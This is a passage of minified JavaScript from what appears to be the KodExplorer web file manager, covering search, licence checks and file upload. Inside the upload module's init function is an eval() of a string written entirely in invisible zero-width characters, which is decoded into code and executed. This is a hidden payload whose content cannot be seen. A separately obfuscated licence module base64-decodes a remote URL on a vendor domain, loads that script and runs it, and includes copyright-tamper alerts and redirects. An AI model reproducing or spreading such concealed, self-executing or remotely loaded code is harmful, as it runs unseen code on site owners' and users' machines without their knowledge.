.file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e +}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&t.html(""+LNG.seach_result_too_more+"")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};v();var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else 